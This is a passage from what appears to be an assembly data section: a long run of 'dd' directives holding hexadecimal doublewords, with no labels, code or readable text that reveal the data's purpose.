840B2A21h, 2614F900h dd 87811DD9h, 0BB030090h, 0DBB5029Ah, 0DF18BF51h, 0EB20FD7Ch dd 0AA5301ADh, 45176A64h, 2E972435h, 3892DC00h, 24DF3B1Eh dd 0C63EE0C4h, 897A1FA0h, 8A6D1300h, 2E030E5Ah, 1B7303BEh dd 0C3F51688h, 9F10D8E6h, 428697E9h, 0D900382Dh, 0F141237Dh dd 0A192B39Eh, 0B180BC8Ch, 8F598C8Dh, 691C8ECBh, 3B00B8E3h dd 66A41F06h, 0E57C019Fh, 328AC778h, 0CF888A41h, 0F000ACD4h dd 861852A2h, 20DE0337h, 998243Fh, 25EC591Dh, 80B7740Dh dd 3A7CB8E0h, 0C6005FF0h, 50B17B8Fh, 2801BAD7h, 1A1F0178h dd 0B8823F65h, 70B52432h, 9EBC98A1h, 0C9A881E5h, 0F55B41FCh dd 38B086C4h, 0E06181A1h, 8DC24C24h, 8F01D70h, 66E84ECDh dd 24F8FB02h, 200AD89Bh, 9160146Dh, 0BAFE3250h, 0C27985h dd 7D1FEAC0h, 0A6426487h, 26E8403h, 198F9B46h, 0D91CA360h dd 462903E5h, 54448858h, 67D70068h, 49FAEB3Eh, 47646D6h dd 0A956D8C5h, 22D9A400h, 1EAE5BDEh, 80792D0Eh, 50981A81h dd 4B61C8DFh, 8C1D668h, 65503F0h, 41215A9Ch, 3401B9DEh dd 0DC8529B0h, 308FDFE2h, 38EF957Dh, 5C5D9FE0h, 689173F0h dd 0D51CD411h, 0C681B711h, 9FF9D1CBh, 29B0F211h, 0C0222092h dd 0A6964719h, 0AA036541h, 7C60F557h, 0A524E223h, 0FC1811ACh dd 2AC71A48h, 14C81F2Ch, 304C8079h, 0BD7F720Fh, 2E461198h dd 7D9ED826h, 3118811Fh, 72C16A19h, 628A006Ch, 0B0239DEBh dd 3E786044h, 14198203h, 88CFC98h, 0FD7D9F60h, 795CBC14h dd 0CA934A00h, 1372970Dh, 0C8DC059Ch, 144D7331h, 0AA00D8D4h dd 622F64B0h, 80EA616h, 0CCBE40ACh, 0C15658FEh, 0F44FD9C1h dd 8A7FC888h, 30C371C9h, 18647D30h, 311A21E9h, 6DEE0A04h dd 0A9948000h, 3CF0CF13h, 1D9E0671h, 60F3235Dh, 6A0DD900h dd 4324CE80h, 0C05820B6h, 0A1143906h, 4EC8F1BFh, 242ACB2h dd 0BDCEE178h, 6DFC8004h, 57A52C5h, 4A439517h, 25C4087Fh dd 445614h, 641BB7F3h, 5E8A97h, 0C87301CCh, 0AC89443Fh dd 0ECFC3100h, 2647741Dh, 0A1044C62h, 1A605830h, 94A2C041h dd 0C8AA8430h, 0C311F60Ch, 2416F8EEh, 4228E09Fh, 5C10D243h dd 7433864Ch, 8F9B1176h, 0C6EA5890h, 98F0D40Bh, 7349D38Ch dd 77E03Ch, 42319FDh, 0FECC0FEh, 83F4D805h, 0EA087FABh dd 0D168AF8h, 0C8E8A0FCh, 6680EB49h, 0AA90CEC5h, 7A8E757Dh dd 505828DEh, 99FF294h, 2179298Bh, 0A9BC5823h, 0ED5C3900h dd 31A14C65h, 24520C5Eh, 66C80102h, 342684A1h, 354D1578h dd 2D170150h, 0B13693AAh, 0E588C0h, 0E94D9B31h, 82E342A2h dd 0D38C803Ch, 3BE205A4h, 0E4865CA8h, 4D742A90h, 15EE0090h dd 72A0436Ch, 0CE1387C6h, 0A854CC0Fh, 0C7F3110Ch, 35FC0700h dd 0BE453094h, 0B3497C62h, 8C1B00F8h, 0A3002C43h, 0AA3CF440h dd 20ADFADh, 0F27A962h, 0F4845C2Dh, 1FC488BCh, 0C4C86702h dd 0A90DF944h, 0D71011FCh, 145CC7D0h, 8448FAB1h, 253A6D03h dd 83D040F9h, 491B286h, 9933E207h, 0BC0F1E40h, 0EFAE00E9h dd 0E60BC7A1h, 74129F80h, 74408A34h, 0FAD35FA0h, 248CA83Ah dd 0EBC9C47Fh, 15F50025h, 0EADBCE83h, 0EF62A0Dh, 1E498D4h dd 0D3482433h, 0A47BE417h, 5C246438h, 415D1FC4h, 0A2B5EA9h dd 32F4ED0Dh, 50972CE4h, 78D87DE0h, 59903AB9h, 0E8412FB0h dd 0BBE0C158h, 1C133Ch, 0A4FAE36Bh, 1D44D2E4h, 2E09F6C5h dd 1808303Eh, 2AE0E55Eh, 9F0097E8h, 363DBC6Ch, 85FD71h dd 729C1BBFh, 64327C0Dh, 0AB4830DBh, 5CF680F0h, 70424065h dd 0D318E17Ch, 1868EB8Fh, 18D17C7Fh, 39D64E75h, 0F737D372h dd 4B86180Ch, 48751438h, 3C0C1053h, 5040FD06h, 36CF850Fh dd 0EA332058h, 2C1DC92Fh, 6966222h, 70E63842h, 0F03CE542h dd 0B8440740h, 5F9C30D7h, 2D06AB51h, 8FB618C0h, 786E13h dd 5691B00Ah, 0C9A367Dh, 0E2B74001h, 1BDD9635h, 0DE642841h dd 0F2D87911h, 7BCE8080h, 94005AAEh, 0B6BB543Bh, 56EDB35h dd 78D3A5B0h, 20B840DCh, 4F2FD119h, 54CBC42Ch, 0F88B460Ch dd 2ADAEA38h, 7FCC0E56h dd 0DFC40102h, 3CA94BEFh, 1F1980E2h, 4921AC15h, 0CB1E0AFAh dd 86C44BA3h, 41C2AE31h, 0FEEC8DF2h, 70AC690Ah, 4B00409Dh dd 1CB15A76h, 0C2EB00A1h, 5501568Dh, 2F0A8E67h, 90733561h dd 0D791080h, 6F075Bh, 0BC92CFAFh, 76BF34D1h, 0FDA9590Ah dd 180B8EBh, 0AF7C3EEEh, 2808C0E9h, 347104E0h, 73597E1Eh dd 46479607h, 0F8D5EFC3h, 30BC1AFh, 995352DBh, 0C0A863F9h dd 6A003A15h, 39AD01FCh, 0E3C7FA7h, 2DDF3EEFh, 48089686h dd 0B4B44h, 4D63FBE0h, 614EC8DBh, 0AFB6CE00h, 17D1B514h dd 887F09A3h, 6080B1F7h, 77FC0CE4h, 0F4A1D660h, 0C331C329h dd 4ACA0F60h, 0B8B71800h, 0D3A282F8h, 296700D4h, 0DF36BB14h dd 0EB19C21Ah, 1BE98F69h, 10E70C10h, 0E57BD800h, 80EB1305h dd 0D06B00FFh, 2518F1C8h, 9F039C3Eh, 0B029F349h, 1A3900F6h dd 3014A0F4h, 0E300A4B6h, 0C898388Bh, 148A719h, 7207867Fh dd 0D0FFE628h, 0B862BFFDh, 8C4FEF10h, 0D8B884h, 0AF6C497Dh dd 0C8299094h, 0CF385300h, 1B37DBBCh, 0CC9706E9h, 308072FBh dd 0D282D919h, 588CE381h, 0C91164AFh, 0DE000AFCh, 2043818Eh dd 15672449h, 0BC9FEF27h, 9781FF32h, 208F2161h, 0D706A811h dd 0EC3D6DFBh, 0A6880E48h, 998ED872h, 0AB3521Dh, 4E0080Ch dd 90F50793h, 58474C14h, 0DD56FB06h, 74607FA2h, 83EE80A4h dd 50E3FF07h, 7A10C933h, 29058DE7h, 14728Eh, 97191CF2h dd 11010B04h, 5F367630h, 37ED266Ch, 0C6807CFh, 9050CF9Bh dd 392F86FDh, 0A91EBB01h, 4923BCB2h, 200F9192h, 4010CC60h dd 0DFC9BF00h, 21B5349Eh, 104B8968h, 0B0B4481Eh, 0A188007Fh dd 0A7C47818h, 0EA31FEB5h, 22AFD1C1h, 8BD0AC57h, 7E7B02h dd 0D0E171BAh, 0F5EBF187h, 0C2539609h, 0FE54218Ah, 0B8406E74h dd 393D343Eh, 3A1405BAh, 4F84A026h, 0DF5890DBh, 6D02C1AEh dd 0AC6587EEh, 0D78FC0F5h, 7CB80024h, 4350A560h, 28070B06h dd 1FC6588Fh, 4F36F250h, 0FD98C20Eh, 2449AB76h, 0F4088A93h dd 0F0C3078h, 7C0850h, 8F56C29Ah, 301B4A1Ah, 2F3FEE03h dd 8AAD3D28h, 0A9D040BAh, 0A00354E7h, 0ABDF90FDh, 0C0C1E114h dd 605C19AAh, 862261D9h, 300532Ah, 0A820141Ah, 0AB20537h dd 468E21CEh, 55070744h, 527B40BEh, 283D38A4h, 0CF9780FDh dd 0CC196691h, 516C0956h, 3C90E254h, 760E87DBh, 2A9F4FF8h dd 920AD82Ah, 120044B2h, 0D73FDA4h, 28F1FE77h, 28D3DD31h dd 18AC10h, 14DEE854h, 0B164BC4Ah, 0D9C450E7h, 49C6F483h dd 0D94596h, 6C3316B0h, 0B72340D8h, 782B5304h, 5484D07Eh dd 0F068DC61h, 9064C8h, 764EF2D9h, 9FF966CFh, 99CCFC1Eh dd 273FBC82h, 7AC8843Eh, 20823894h, 0D444E1h, 0DA782DD2h dd 5BF14B15h, 1A99AC0Ch, 0AD4A087h, 410E73FEh, 16D88C0h dd 8080AF94h, 2C949C1Ah, 0F1009AC0h, 0EE4A5C10h, 712C09B0h dd 393237CDh, 8091208Dh, 5600D9EEh, 71992304h, 60F0938Fh dd 3C4A7408h, 0D499ED48h, 15C0D2BFh, 7780954Fh, 32F76200h dd 43974757h, 0A1E0E61Ah, 344577ACh, 49C44408h, 0A0B01810h dd 62E76006h, 186193B3h, 2830F746h, 0B105E62Fh, 0D820456Bh dd 6631A400h, 8A05CA1h, 50192372h, 7F617C00h, 76734145h dd 812E3FEAh, 84069300h, 8D83C5CBh, 58A9C60Ch, 14B33127h dd 489E80F3h, 14010322h, 97C79F07h, 0F450A328h, 4E2F124h dd 0F6A7550Eh, 698C895h, 38F9F407h, 20308569h, 3C3058Eh dd 9EB177B4h, 11F003EEh, 0AE0F446Ah, 3D4E84Ch, 0F0AA61A3h dd 0E6220Dh, 5334E733h, 8E661584h, 619B13Ah, 92CA9623h dd 0EC430008h, 6318148Fh, 0C67789CBh, 118A1200h, 0A3E085DFh dd 38680148h, 0D323674Ch, 0E21D708Eh, 0F4E0FF7Fh, 820FAC00h dd 13EBCD75h, 7430099h, 0D118D612h, 67F0E356h, 60207761h dd 0B303E291h, 24AD2CF8h, 0B80E37FAh, 639459ECh, 6114D6Eh dd 301E43A1h, 7D0040ACh, 3E79B72Eh, 0B0C357DCh, 0E4FE3AD9h dd 0A06A3680h, 0D0DE0FE6h, 6D7DE202h, 87F0ED67h, 25C07A74h dd 61AE91h, 3DEF2F95h, 80518737h, 5BDAAB1Ch, 49409B41h dd 6CC81C52h, 7037867h, 645DCE73h, 0A43AC8h, 3534600Fh dd 9630369Bh, 0D4846882h, 8E070C57h, 9711E2Bh, 0D7B6A101h dd 9589A662h, 8EA0C080h, 727DFF9Ah, 836E5807h, 9313E7FEh dd 3DC2A331h, 700C0FF1h, 0A310F742h, 5637648h, 384826A2h dd 0F303E003h, 743101E5h, 0AB65A64h, 6CACF4FDh, 7A84EF00h dd 4E99807Bh, 60DF0050h, 0D90940F6h, 1101A3E1h, 80D8C6B6h dd 5843F307h, 0A86B8383h, 63F044h, 0E5CFC824h, 0F96E4398h dd 0E05F8912h, 7BCA0406h, 130100A9h, 0D2B4C18Fh, 0FD0926AEh dd 0C88A2h, 8E167838h, 9E6B1E0Bh, 0C3FB8056h, 1BF445A8h dd 3C2A4C24h, 5601B011h, 8CFD603Eh, 0FA67D4C3h, 8E988754h dd 81042C48h, 98E3FB18h, 0A8401200h, 11E68130h, 6751917h dd 0EA31DA7Ah, 701259B4h, 4B02C036h, 8410604Bh, 48883724h dd 10ED4884h, 0C8A70092h, 8947963h, 1E8F220Ch, 6E3C441h dd 0CFF1155Ah, 340F70E0h, 7DFE45Eh, 8560D054h, 7BAE5055h dd 0BF7100B1h, 6AAD17B3h, 2B3E87E1h, 22B4C9A0h, 517A0305h dd 31C7E0BDh, 0EE8597E0h, 8178FC38h, 7AF302D2h, 0E0FB539Ah dd 9966FAh, 0EA1001CFh, 0C3C15DD8h, 1D5B8600h, 0B9D3E4F5h dd 0F413C16h, 34F6252Dh, 80E52A0Fh, 0D16815FAh, 0D4AE3B49h dd 88A71280h, 85BD581Dh, 2C03E57Dh, 25348762h, 0BF5B9AFh dd 609A78ECh, 7D1A4024h, 0A87A729Fh, 2510DC61h, 88076ACh dd 0CD2A06E5h, 43EAABD6h, 0F02E300h, 5571B7F8h, 78040CA8h dd 1AA0F6D5h, 7DF2FE0Ch, 7E673857h, 987A0774h, 9609F7C1h dd 0A714B1A2h, 3034118Dh, 353B317Bh, 0D871D5h, 0AE83F95Fh dd 0BBF39F2Dh, 41408571h, 90670045h, 162C5739h, 79CEF768h dd 6244E0E0h, 3B1696Ch, 0BBF44E59h, 391B8288h, 88710DACh dd 4EABE0h, 3AE2A805h, 0BE9E538Dh, 1148D0F0h, 1E4C18C0h dd 0A31D1390h, 44390083h, 0D11FFEC9h, 0E000DF98h, 2A3B163Ah dd 149C5402h, 0D410F0D9h, 7F15B287h, 1E48204Ch, 17014B7Ch dd 85DE72CFh, 0A2305B8Dh, 9C623AB8h, 0A0804103h, 83C394F2h dd 0E74CB100h, 47E873DAh, 0FBE20EF9h, 86614002h, 0C017F675h dd 0A754A2E6h, 0CD00E7A8h, 0F5F4ED4h, 23A11Fh, 0DE6A9884h dd 0F3A285A8h, 0E6EE29C0h, 0C1CEC3h, 23F9B2FFh, 0C92CFDBBh dd 10A0EF13h, 0A9322A00h, 4B10Bh, 3C650AB2h, 0E6609E78h dd 0B6A898C7h, 9F8AC50h, 2095498Fh, 16A3FA03h, 40E5682Fh dd 9DCA17C8h, 87066D7Bh, 0E10DD654h, 0C848F948h, 8ADA8807h dd 0E8AE0916h, 0E0A6330Eh, 0D1702889h, 73A73C1Bh, 0FA7FDD8Ch dd 0A0901859h, 35E26201h, 3F0A947Ch, 22E29E4h, 0B78E6BFAh dd 2848C681h, 0FE6069D3h, 5A4B3039h, 60150B12h, 310035CEh dd 0EE9CABD7h, 2B33D601h, 25C89A89h, 34624886h, 7900383Ch dd 0F751CB43h, 5412FBh, 261477B9h, 876CB5EAh, 930CFDE4h dd 0D135F55Fh, 0FCE154ACh, 395008Ch, 0D2B20FEFh, 300022B6h dd 1FE40581h, 0D19187h, 6BFE7962h, 0F3042A58h, 0F8933200h dd 0F94E0DE0h, 18F6B066h, 0D11BDB85h, 8C7F5CDEh, 4DB87D02h dd 48BD7377h, 0E874AE0h, 0C15C88FCh, 0EE1A3AEh, 0F14EBB28h dd 229Ah, 33A95F4h, 72A5B51Eh, 0E11A060Ch, 49BC7F67h, 9B004B77h dd 104549C2h dd 54AAFF59h, 1D72A880h, 80BB6374h, 0FD09F6F9h, 41013C04h dd 0C58D1569h, 1080356Bh, 0E5C056D0h, 6260A4E8h, 14D5220h dd 0F591003Bh, 9A88B44Ch, 32069FA3h, 33ECE66Fh, 6D7049h dd 84F9C428h, 9E14D542h, 0CD714907h, 0CB8A7B21h, 82FD410Fh dd 0C16284DBh, 0C0FF9D7Eh, 0C07270DCh, 6CCB1F81h, 800BE297h dd 1DFF7Eh, 95173A7Ch, 69420074h, 649E5935h, 0EB07313Ch dd 8ABBDFC2h, 7FCCB232h, 90CB0800h, 99C00CFFh, 0BFF50BC7h dd 80CF00A0h, 338C5631h, 0FB507344h, 0E40088CBh, 0C89B0463h dd 2A68ACh, 0BA771BA7h, 7C510A49h, 384EDF03h, 0C07FFACCh dd 25658Eh, 0F2174268h, 0AF4CAB88h, 1B6FA12Eh, 3C5F0E01h dd 9FF8F93Dh, 0F61C00F4h, 0A9EE65B1h, 88018CC8h, 0C4BD4381h dd 23E0F092h, 18CE6006h, 6D4D2EEEh, 45B02200h, 0F6C3DE5Dh dd 78CD6036h, 251298C7h, 0C47B3D00h, 68B1A94Fh, 4B80C0Fh dd 0C8889C5Ch, 0AC145B19h, 52E83268h, 7722001Dh, 60D4119Fh dd 26001F02h, 51DA28DFh, 1FF69E4h, 0D28E15D6h, 0ED420476h dd 0AC488089h, 2F901732h, 0B9A5611Fh, 0C0F29AC9h, 0BCE4D9A1h dd 0F17F403h, 0D24279h, 43A0AB20h, 0C216084Ch, 95B34817h dd 90B89A00h, 0CB2479Ah, 0ABFFA9E5h, 86300451h, 8BB7B987h dd 5150D7Dh, 0F0212A8Dh, 94024AD0h, 7A848ADh, 0CB94A008h dd 0B2F98Bh, 0C0803304h, 214BDDCAh, 0C3399B60h, 632C5A4h dd 22725D65h, 0D88619C0h, 0A5456200h, 168ACEF8h, 7A70003Dh dd 0F53C8D89h, 0A948B99Eh, 105C03F4h, 1C09229Bh, 8115A379h dd 1E345D4Bh, 0CD47C0E2h, 6030440Bh, 682B8084h, 0DD6B26A3h dd 4A6FC631h, 0F400F18Eh, 7E757369h, 723303h, 0B69E54A4h dd 0EF610659h, 0E5C880h, 6E5F906Bh, 5BE1C0C2h, 0D418D60h dd 0C1DD0Eh, 47B21052h, 32E3379Fh, 0D6024A00h, 0FF1226A9h dd 7388008Dh, 2C8B6804h, 58C6EBE7h, 61B1AFh, 0C0FBC6E1h dd 0AD2AE6B0h, 5100FF71h, 332F709Bh, 0F68960CEh, 88985Dh dd 0B8BC7E73h, 2FB7C2D4h, 10D2470Ch, 5423917Ah, 61ACA8h dd 0D4035BD5h, 0A476B550h, 77809300h, 29A64AC2h, 424909E4h dd 0D18791FAh, 401565D1h, 482C8DC4h, 5C001BBFh, 7601D0Ah dd 7271AD82h, 3CC07B8h, 506CA550h, 0C2D8F65Bh, 0CAAE1902h dd 8A09A9CBh, 92108040h, 9780B890h, 0B86FF4F8h, 85D80C3Dh dd 0AA5A05C9h, 0ADC61404h, 468FB500h, 0A2008725h, 0DD4218BCh dd 94A7FD9h, 6C8D7B6Fh, 0F41A1C18h, 0FBB0E501h, 367C3445h dd 2609630h, 9979AC43h, 50E244DCh, 0A641F4B2h, 0CD68E0F1h dd 56BB5504h, 7090DE44h, 0F36311h, 2AC3D95Dh, 0F6851461h dd 52B44100h, 0A97EAD1Ch, 6E4D0797h, 7FED9879h, 0B0CCF347h dd 82ABE3C1h, 0B11C5400h, 0EE1AE134h, 495206BBh, 40585AB5h dd 2E97A200h, 59DDA815h, 0AF03301Fh, 86B48218h, 9DA9C001h dd 0ABF1CD04h, 0A4804E10h, 97B5D800h, 9F45FAAFh, 14A900C1h dd 0EDB6F8C6h, 0F130A63Eh, 72DE31A1h, 0F0157AE2h, 9EC73101h dd 0EB9428h, 811A03A2h, 2161FC54h, 1E769E00h, 0CD2A66A1h dd 8F293A9Dh, 881DE07Dh, 0B5B0D883h, 7E364800h, 0D6CF2A14h dd 7841F375h, 0E7C405B3h, 52BA1BFFh, 96E039A5h, 64001DFCh dd 0B4B0354Eh, 0F0AA0Dh, 579E5E2Fh, 341E30F1h, 0B944FA15h dd 838605B0h, 6CC7E92Bh, 9AF0E8E0h, 88720134h, 0FFB41D1Ah dd 0CC077071h, 0BFE731C0h, 0F10CD62h, 0E50FF3D6h, 0F1E5268Fh dd 318843B6h, 0C4B8DDDBh, 0B8007C71h, 6C51CFB7h, 6BE5317h dd 57A68B97h, 2800B084h, 16984538h, 1E6CFD2Ch, 4120173Bh dd 0D5EF8D7h, 6D6630E9h, 52E4FF07h, 7676C6FCh, 24090008h dd 2FA8122Eh, 802E074h, 511C1541h, 0F6F090B1h, 0B5F40929h dd 0ED03C4CAh, 64E071FBh, 0A33A6A35h, 9CACA803h, 998A6700h dd 41E465B4h, 873104A2h, 82402C22h, 0E0AECA0Ch, 0C032D5A0h dd 0C100310Fh, 1E161998h, 35FE27Bh, 0A708E547h, 4AC0D1ACh dd 0D47F82C4h, 0B6074090h, 0D0786BCFh, 12805EF7h, 2AE7CD1Ah dd 0CDC153Ah, 595B2D1Fh, 0B067F1B8h, 0BCD006C1h, 0BD40E4h dd 92FF2C49h, 2914A2CAh, 799B700h, 0A3D9ABFEh, 0D10B007Fh dd 0B85D922Ah, 0D9C1483Dh, 0A2F01435h, 0D085180h, 138CA17Ch dd 81B6A039h, 811B4B48h, 0C8501FA6h, 0BBA153Ch, 0F6474C28h dd 4F6BA680h, 820CAA9Ch, 0D0AC410Fh, 804C0C9Dh, 0BA80FDB8h dd 10AD139h, 0C75C5005h, 0E6ECFA39h, 0B34A01BFh, 19402DA5h dd 0B022F0h, 0F5EBA3DDh, 26B1C5FBh, 1DB4B903h, 2720443Eh dd 303495BEh, 645EF028h, 42116A00h, 0FCB49850h, 0DE710E5Ah dd 7B6104AEh, 44A360E4h, 0A2A840C9h, 7209D52Bh, 0F6B28CA0h dd 16F2EE16h, 4FF15606h, 4DB60059h, 693A497Dh, 0BD3E9C30h dd 184D5C5h, 81EDCD0h, 0A9008426h, 8EA2E435h, 0C91E2B9Ch dd 6810A530h, 0B7007898h, 871A5F34h, 16FF7h, 24C7F5FAh dd 666EF358h, 0A56C0618h, 1FAFE358h, 0C04FE5A6h, 2B8EF72h dd 7600A3D1h, 48C66379h, 27EC1Dh, 6EC48AE9h, 5A081C18h dd 2228C1C1h, 9854B683h, 1D4CC00h, 4D9FC1AFh, 0CA0408AAh dd 0D0F303A5h, 114E621Ch, 88E19B02h, 218F987Ah, 0FCAF90C0h dd 1000CCD9h, 0B2777EAEh, 0B34DE7h, 0CD609902h, 1C1E1A43h dd 91CF3701h, 9FBD88ACh, 0DF15C033h, 0B406985Fh, 99D1451Ah dd 0BC7D9200h, 0F4B99802h, 6C080014h, 0B43F0F6Dh, 2892C9FDh dd 5A76E91Eh, 0CFB8E102h, 1F604846h, 70CD5029h, 0F888733Bh dd 0A75720FFh, 0A5998900h, 9758E820h, 0BBE60093h, 4126A7Ah dd 4105E309h, 0CABC3DDAh, 251CD44Eh, 0A045553Eh, 94209CBDh dd 14AED690h, 0ABC96175h, 2AA11E79h, 7B364028h, 0AF3DB192h dd 0C8E9E300h, 860AA70Ch, 1F250C3Bh, 2C515E3Eh, 5C452E2Ch dd 0E8BDE940h, 408E0F89h, 0EBC2C3A5h, 244442DBh, 0C40AA477h dd 0EC6F28BDh, 3002422h, 0BC49834Dh, 0C0CA41FCh, 73178C51h dd 0EB7EC3D5h, 305841B8h, 0A2330084h, 0B080AD69h, 1844502Ch dd 0BBA001ABh, 48ED188Dh, 7407C0F4h, 0E56C7305h, 88406BA6h dd 958BBDBAh, 0E300F3Ah, 0AAA1E627h, 407B46ADh, 8FA174CCh dd 1547D101h, 0EACC3982h, 27F490E2h, 0A83F481Fh, 23A60C85h dd 0DDA87FB4h, 0F102B9F5h, 6243B83h, 0B3C56090h, 29221812h dd 319A3901h, 33CD9300h, 0E930C821h, 0FEA10B83h, 3C02F7A2h dd 0E8245073h, 0B2CD9C89h, 0EC54FC0h, 0A7148E4Ah, 3EBE9702h dd 0DA7168E0h, 0E8FD4800h, 50184CFAh, 70D663FCh, 8FA046C5h dd 0CA766F3Ah, 144C5900h, 42634D7h, 7AC1018Ch, 0FFEB0620h dd 0B9A2C431h, 0E26AD204h, 2103F83Ah, 8701C88h, 3E24993Eh dd 0A0FB80FAh, 1D2574Bh, 0A5BD1FDAh, 0A99340D1h, 0C40E6578h dd 73CCCD0Fh, 4ADEA6E2h, 0E62D0C40h, 98C81E9Ah, 0EC071A03h dd 0A0050691h, 3DAFE73h, 537D63F9h, 10E6E8C3h, 83894803h dd 983DAB71h, 37441CCh, 0CF91ACDBh, 991820A2h, 4F08C93Eh dd 5E390FD1h, 2580ADBFh, 0FEA344CFh, 0C6FA1614h, 0B7A51988h dd 82DC6D78h, 1F723F3Eh, 41E03D18h, 0AB7AD6B9h, 0A6008E75h dd 4C9F1B89h, 0C026933Bh, 376C620h, 3D00D098h, 1EBBD6C2h dd 7592A0A2h, 12C11E4Ch, 71404388h, 30E8DD1Fh, 0FE009DA1h dd 6AE033A7h, 0A82E8676h, 752BACh, 9766A6C1h, 0C237CC6Eh dd 0A420600h, 533BD3BDh, 0B6D100F3h, 671C91DFh, 323EA2F4h dd 0B8F8E1ABh, 5C4041D4h dd 0FA296D07h, 84BB01DBh, 2DAC1CFAh, 33B84CCFh, 0C3A46700h dd 0C9CB7A06h, 77DB0920h, 2C2128EFh, 5057A2CEh, 8978A3A8h dd 0AEA92260h, 125EEF8Fh, 1D76335Fh, 7BA80392h, 20005030h dd 0E405BD09h, 0E6B16Ah, 79EDBA31h, 0E7B67A04h, 29DCFD02h dd 48D88974h, 0ED7AA04h, 0A5A88CDDh, 677543BEh, 0D9C8E62Bh dd 45018F81h, 3864E824h, 0BA600E91h, 0E038C74Eh, 147DB170h dd 27502007h, 38DA0288h, 0F600FB5Bh, 0D0AB3089h, 85F32483h dd 0C8DA2D39h, 33E29443h, 371901FAh, 0D8EC4ADh, 0A496C8C1h dd 0AF933C00h, 5F3298A5h, 0B4CE1F85h, 21079899h, 8300527Bh dd 4DBA72A0h, 0D9321Bh, 7619152Dh, 0F3FAB962h, 0F2C6B100h dd 1BA48C91h, 36FA0Dh, 8677ED2Eh, 6BA0C5D8h, 8B062BFEh dd 954072B7h, 0FD320028h, 0FF052231h, 1406C2A2h, 0EDC2724h dd 0B7FB1C78h, 5D9D86E4h, 0A209308Dh, 94A3F8h, 0AC5BCA5Fh dd 2C56018Ah, 7C21A747h, 8702D443h, 0A65CAD03h, 0E14F1F88h dd 8874A26h, 0E06B9593h, 653F98BEh, 57C6F001h, 53625E01h dd 960020BBh, 26BAEE1h, 4274B731h, 903257Bh, 3CEDD20Bh dd 9AFDB819h, 0AAB00021h, 0D503C71Bh, 290F7285h, 6F2F3E7Fh dd 0A6C480ACh, 305A71D4h, 7C8940A1h, 0C78352D6h, 8096B4C2h dd 234BBA50h, 313A01CCh, 0CF1BEDB0h, 4F28832Ch, 3E521D34h dd 200150C1h, 37D31B5Bh, 56208090h, 34A84413h, 0BF9505F7h dd 82FF9320h, 6C805F02h, 0F1A46D0h, 37C9A61Eh, 0D700F22Ch dd 95CE8A19h, 0F8213BCBh, 9E917D30h, 8BE0117Ch, 3BF29300h dd 821675CEh, 7615EC59h, 66443202h, 192FED70h, 0B102FD98h dd 0C6F93423h, 5AB430B9h, 52E1A9F9h, 0F7EF3200h, 8AC0CC27h dd 0A179C041h, 0C7060528h, 12311B00h, 8DBE52FFh, 2EE2F65Dh dd 0C7AFB14h, 3B68F020h, 52F18F45h, 8A2F4B10h, 38517F60h dd 375FC88h, 0EF16F89h, 400106FDh, 0A55C7E74h, 0C0541E91h dd 9FFA5400h, 946488h, 3525D6C4h, 0B2EF56B3h, 763B1C06h dd 0C978B4h, 3794918Bh, 0DF90E302h, 348C2C1Eh, 0BFADFCC3h dd 0F5CE05D5h, 4026A850h, 73BE3FE4h, 7401F8D1h, 1334B79Ch dd 91FDD318h, 2311C988h, 0A3C5FF81h, 48805DEEh, 0D12F50F1h dd 0D7241B4Bh, 89861C3Fh, 13020EBh, 4191B2BBh, 0F8652AEFh dd 1239E2D7h, 97B90052h, 1AB3BEFFh, 0FCB6077Ch, 77A320C0h dd 179DCD3h, 7761161Dh, 7FC7600h, 24FDFE6Fh, 455CA25Bh dd 804C1D26h, 0A35ED5CCh, 7401F319h, 1D016AD6h, 6EE040B2h dd 0F2A930CDh, 92649CA1h, 1B9ADC00h, 5D1541C2h, 3951F49Bh dd 1807432Bh, 839FA0FDh, 610AA37Ch, 9833A81Fh, 0C847E680h dd 58C235h, 0B97A1CF0h, 60D50EDBh, 91B79B18h, 80225F38h dd 9560A95Ah, 0C10573B1h, 1C4A718Ch, 0C38AA120h, 1C7BA55Ah dd 9DCB2006h, 78404E0Ah, 44A288BFh, 60572688h, 0D6C1840h dd 0EF05DA52h, 7486280Ah, 0B13C781h, 818041DEh, 0D029A0h dd 7A205DA2h, 87B5EC15h, 445880EDh, 247CDB57h, 0D8700075h dd 4BFE3391h, 1373B23Dh, 71565114h, 0B88A29A4h, 15F5FD00h dd 7B9A870h, 9FEC78ACh, 547B0E9h, 6F3B9E99h, 30483Fh, 1D0B2F48h dd 31DA3D7Dh, 1F919A7Bh, 44188620h, 20E881C0h, 2F0019DBh dd 95A021B0h, 6FE86h, 9DCE4307h, 57789B3h, 0F0FDF602h dd 48029BD7h, 81D4A254h, 8AEC5113h, 5A98092h, 6795BC46h dd 0EF207CFBh, 22E21980h, 0F1B50B71h, 140FF00h, 0AEE5BB8Eh dd 5B6FE02h, 87CD48D2h, 34800209h, 54697610h, 0C100E3B4h dd 0F492D4B3h, 30C312h, 19554DF7h, 4AFFFB0Fh, 1D2D0700h dd 204CE6C6h, 5DB530FEh, 58F67F39h, 7D0EE700h, 0BF221978h dd 3F110028h, 5A52D09Eh, 189A5EA6h, 0A99F7301h, 0DA867561h dd 4D7FEFCh, 0E644B2F6h, 3D24CC53h, 87BCC100h, 0B81B814Ch dd 91A9E006h, 9A6B0054h, 0EBA6BA86h, 8EC25600h, 5AA308EDh dd 0B7333B5Dh, 1509CD4h, 0BF489E8h, 0FCD9A54Bh, 0FB007B8Eh dd 0EA4D6E78h, 5AD1776h, 0FCAEFA8Fh, 0B20088A9h, 0BDF4483Dh dd 67200D0h, 608C4EA7h, 8E734C2Ch, 355471Fh, 0F92DA20h dd 32FA34A1h, 8CB429FCh, 0E0F7FC0Eh, 435BE0C5h, 20D604EBh dd 88BB67A2h, 0E81FE9D8h, 0CBC71A40h, 579076EBh, 2B0128Ch dd 2A95C892h, 3044A57Ch, 0AE031801h, 9EBF3D1Ah, 5D22434h dd 79318088h, 30908709h, 93407D7Eh, 223E1A18h, 520359D1h dd 7C09644Ch, 982986A2h, 53FD9818h, 9ED38100h, 34700B97h dd 83F499F8h, 29FC3527h, 3580914Ch, 4437C9EFh, 30F12F90h dd 9B720027h, 3BA47A0Eh, 64005B6Ch, 0FAE03476h, 0F05133A2h dd 107D0FEEh, 1099778Dh, 76099FDFh, 0C193FC80h, 636062Ch dd 1B390D4Ah, 8DF639E4h, 7ABC3511h, 0BE3A6500h, 82DF7DC6h dd 1C72EA0Eh, 0FBDE5CBBh, 477886FCh, 0C802C83h, 46DF4451h dd 7D000D69h, 82732563h, 0F2E3A84Eh, 0D007000Fh, 9AF748D3h dd 57005EACh, 5845A9C3h, 7923773h, 41477DF6h, 0E83A60ADh 